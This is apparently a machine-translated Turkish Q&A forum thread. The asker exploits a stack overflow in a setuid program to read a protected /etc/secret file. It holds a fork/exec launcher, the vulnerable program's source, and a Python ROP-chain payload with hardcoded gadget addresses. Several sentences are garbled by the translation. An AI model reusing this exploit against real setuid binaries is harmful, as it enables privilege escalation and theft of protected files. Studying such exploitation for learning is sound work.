2016-03-18 21 views
0

Bu programa, userA'ya ait olan ve yalnızca userA tarafından okunacak şekilde ayarlanan/etc/secret dosyasına bir Dosya Tanımlayıcısı açılır. userAÇocuğun setuid bit seti ile yürütüldüğünde fork() dosyasında dosya tanıtıcısı

-r-sr-x- için setuid bit ile bir ikili olan execve vasıtasıyla

programı çatal çocuk gizli

-r -------- 1 userA userA - 1 kullanıcıA kullanıcısıB prog'nın bir bellek taşması vardır. Yığın kabul edilemez. Read() işlevini çağıran bir ROP zinciri yazmayı başardım. Okumak için bir tanımlayıcı parametresine ihtiyacım var,/etc/secret'in tanımlayıcısı olmasını isterim.

/etc/secret tanımlayıcısının açıldığını değiştirmek mümkün mü? Şu andan itibaren izin reddediliyor, bu da mantıklı, çünkü ben onu kullanıcı olarak çağırıyorum. Çocuk setuid bit kümesine (userA) sahip bir program çalıştırır, bu yüzden bir çocuk yürütme aşamasında açık aramanın bir yolu var mıdır? Herhangi bir fikir?

#include <unistd.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <fcntl.h> 

int main(void) 
{ 
    pid_t pid; 
    int fd; 
    int fd1; 

    fd1 = open("/etc/secret",O_RDONLY); //file I want to read 
    if (fd1 < 0) { 
     perror("open"); 
     return EXIT_FAILURE; 
    } 
    printf("FD:%d\n",fd1); 




    fd = open("in.txt", O_RDONLY); //ROP Chain,Payload that makes read() 
    if (fd < 0) {     //I pass the file descriptor as a parameter 
            //Normally a integer 3 
     perror("open"); 
     return EXIT_FAILURE; 
    } 

    if ((pid = fork()) < 0) { 
     perror("fork"); 
     return EXIT_FAILURE; 
    } else if (! pid) { /* child */ 
     dup2(fd, STDIN_FILENO); 
     close(fd); 



     execlp("/opt/prog", "prog", (char *)0); 
     perror("exec"); 

     return EXIT_FAILURE; 
    } else { /* parent */ 
     printf("Parent waiting\n"); 

    } 

    return EXIT_SUCCESS; 
} 

güncelleştirme 1:

PROG kaynak kodu:

#include <stdio.h> 
void main(){ 
    int buf[8]; 
    read(0, buf, 256); 
} 

Güncelleme 2:

Rop zincir

#!/usr/bin/env python 
import struct 

payload = "A" * 24 
payload += struct.pack("<Q", 0x00000000004005b6) 



payload += "A" * 8 
payload += struct.pack("<Q", 0x0)   
payload += struct.pack("<Q", 0x1)   
payload += struct.pack("<Q", 0x00000000006006c8) 
payload += struct.pack("<Q", 0x3)     # Value for RDI register 
payload += struct.pack("<Q", 0x0000000000600009) # Value for RSI register 
payload += struct.pack("<Q", 0x8)     # Value for RDX register 
payload += struct.pack("<Q", 0x00000000004005a0) 


payload += "E"*56 
payload += struct.pack("<Q", 0x00000000004003e0) 
f = open("in.txt", "w") 
f.write(payload) 

Güncelleme Bu test programı Yapılan 3

./Etc/gizli userA ait olan ve sadece userA tarafından okunan ayarlandığında, ben userB olarak programı çalıştırın:

test.c

#include <unistd.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <fcntl.h> 

int main(void) 
{ 
    pid_t pid; 
    int fd; 
    int fd1; 

    fd1 = open("/etc/secret",O_RDONLY); //file I want to read 
    if (fd1 < 0) { 
     perror("open"); 
     return EXIT_FAILURE; 
    } 
    printf("FD:%d\n",fd1); 
} 

Çıktı geçerli:

./test açık: Izni reddedildi

Yani, bunun için bir yol yok, open() tanımlayıcıyı döndürmeden önce dosyadaki izinleri kontrol ediyor mu?

+0

"Zincir zincir" nedir? –

+0

https://en.wikipedia.org/wiki/Return-oriented_programming –

+0

'/ etc/secret' için' open() 'çağrısına' O_CLOEXEC 'eklemediğinden, bu dosya okuma. Dosya tanımlayıcısını yalnızca uygun yerde belirtmeniz gerekir. Orijinal programda her zaman dosya tanıtıcı 3 olduğundan emin olun 'dup2()' (veya 'dup()' kullanarak, ancak bunu yapmak daha zordur. Klasik POSIX sistemlerinde, başka sorunlar olmazdı; Linux'un, yürütme işleminde açık bir dosya tanıtıcısı üzerindeki izinleri bir şekilde yeniden kontrol etmediğini söylemek istemiyorum, ancak bunu yapması pek mümkün görünmüyor. Execvp() 'yerine' execlp() 'kullanıyorsunuz. –

cevap

0

Boruyu üstünden kapatmanız gerekiyor, değil mi? Ve neden dosyayı çocuk süreçlerinde açmıyorsunuz?

+0

Hmm Ne demek istediğinden emin değilim. UserB olarak/etc/secret açma hakkım yok. Bunu denedi.Açılan dosyadaki kontrol izinlerini aç. Yani bu arabellek taşması ile userA olarak okuyabilirim, ancak sadece kullanıcı olarak açabilirim –

+0

kaynak kodunu prog olarak ekledi –

İlgili konular